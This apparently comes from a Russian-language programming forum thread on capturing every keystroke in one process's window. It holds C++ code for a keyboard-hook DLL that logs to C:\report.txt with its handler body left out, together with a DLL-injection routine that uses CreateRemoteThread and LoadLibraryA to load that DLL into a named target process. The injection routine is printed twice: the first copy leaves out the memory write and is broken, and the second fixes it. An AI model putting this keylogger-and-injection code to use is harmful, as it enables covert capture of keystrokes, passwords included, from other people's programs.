Перехватывать все нажатия клавиш в окне конкретного процесса

#include <windows.h>
 
HANDLE hFile;
HINSTANCE hins;
HHOOK hkb;
 
LRESULT  CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
    char ch = 'A';
    hFile = CreateFile(TEXT("C:\\report.txt"),GENERIC_READ|GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
    WriteFile(hFile,&ch,1,NULL,NULL);
    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
    {
        if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
        {
               .....
        }
    }
    CloseHandle(hFile);
 
    LRESULT RetVal = CallNextHookEx(hkb,nCode,wParam,lParam);
    return  RetVal;
}
 
BOOL installhook()
{
    hFile = CreateFile(TEXT("C:\\report.txt"),GENERIC_READ|GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
    hkb = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,GetModuleHandle(NULL),GetCurrentThreadId());
    CloseHandle(hFile);
 
    return TRUE;
}
 
extern "C"bool  WINAPI  DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        installhook();
    }
    else if (ul_reason_for_call == DLL_PROCESS_DETACH)
    {
    }
 
    return TRUE;
}

bool InjectDynamicLibrary(DWORD processId, char* dllPath)
{
    // Open a new handle to the target process
    HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processId);
    if (hTargetProcess) // if the handle is valid
    {
        // Kernel32.dll is always mapped to the same address in each process
        // So we can just copy the address of it & LoadLibraryA in OUR process and
        // expect it to be same in the remote process too.
        LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
        // We must allocate more memory in the target process to hold the path for our dll in it's addresspace.
        LPVOID LoadPath = VirtualAllocEx(hTargetProcess, 0, strlen(dllPath),
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
        // Create a thread in the target process that will call LoadLibraryA() with the dllpath as a parameter
        HANDLE RemoteThread = CreateRemoteThread(hTargetProcess, 0, 0,
            (LPTHREAD_START_ROUTINE)LoadLibAddr, LoadPath, 0, 0);
        // Wait for the operation to complete, then continue.
        WaitForSingleObject(RemoteThread, INFINITE);
 
        // the path to the dll is no longer needed in the remote process, so we can just free the memory now.
        VirtualFreeEx(hTargetProcess, LoadPath, strlen(dllPath), MEM_RELEASE);
        CloseHandle(RemoteThread);
        CloseHandle(hTargetProcess);
        return true;
    }
    return false;
}
 
DWORD FindProcessId(wstring processName)
{
    PROCESSENTRY32 processInfo;
    processInfo.dwSize = sizeof(processInfo);
 
    HANDLE processSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (processSnapshot == INVALID_HANDLE_VALUE)
        return 0;
 
    Process32First(processSnapshot, &processInfo);
    if (!processName.compare(processInfo.szExeFile))
    {
        CloseHandle(processSnapshot);
        return processInfo.th32ProcessID;
    }
 
    while (Process32Next(processSnapshot, &processInfo))
    {
        if (!processName.compare(processInfo.szExeFile))
        {
            CloseHandle(processSnapshot);
            return processInfo.th32ProcessID;
        }
    }
 
    CloseHandle(processSnapshot);
    return 0;
}
 
int main()
{
    InjectDynamicLibrary(FindProcessId(L"target.exe"), const_cast<char *>("injection.dll"));
}

bool InjectDynamicLibrary(DWORD processId, char* dllPath)
{
    // Open a new handle to the target process
    HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processId);
    if (hTargetProcess) // if the handle is valid
    {
        // Kernel32.dll is always mapped to the same address in each process
        // So we can just copy the address of it & LoadLibraryA in OUR process and
        // expect it to be same in the remote process too.
        LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
        // We must allocate more memory in the target process to hold the path for our dll in it's addresspace.
        LPVOID LoadPath = VirtualAllocEx(hTargetProcess, 0, strlen(dllPath)+1,
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        WriteProcessMemory(hTargetProcess, LoadPath, dllPath, strlen(dllPath)+1,0);
 
        // Create a thread in the target process that will call LoadLibraryA() with the dllpath as a parameter
        HANDLE RemoteThread = CreateRemoteThread(hTargetProcess, 0, 0,
            (LPTHREAD_START_ROUTINE)LoadLibAddr, LoadPath, 0, 0);
        // Wait for the operation to complete, then continue.
        WaitForSingleObject(RemoteThread, INFINITE);
 
        // the path to the dll is no longer needed in the remote process, so we can just free the memory now.
        VirtualFreeEx(hTargetProcess, LoadPath, strlen(dllPath)+1, MEM_RELEASE);
        CloseHandle(RemoteThread);
        CloseHandle(hTargetProcess);
        return true;
    }
    return false;
}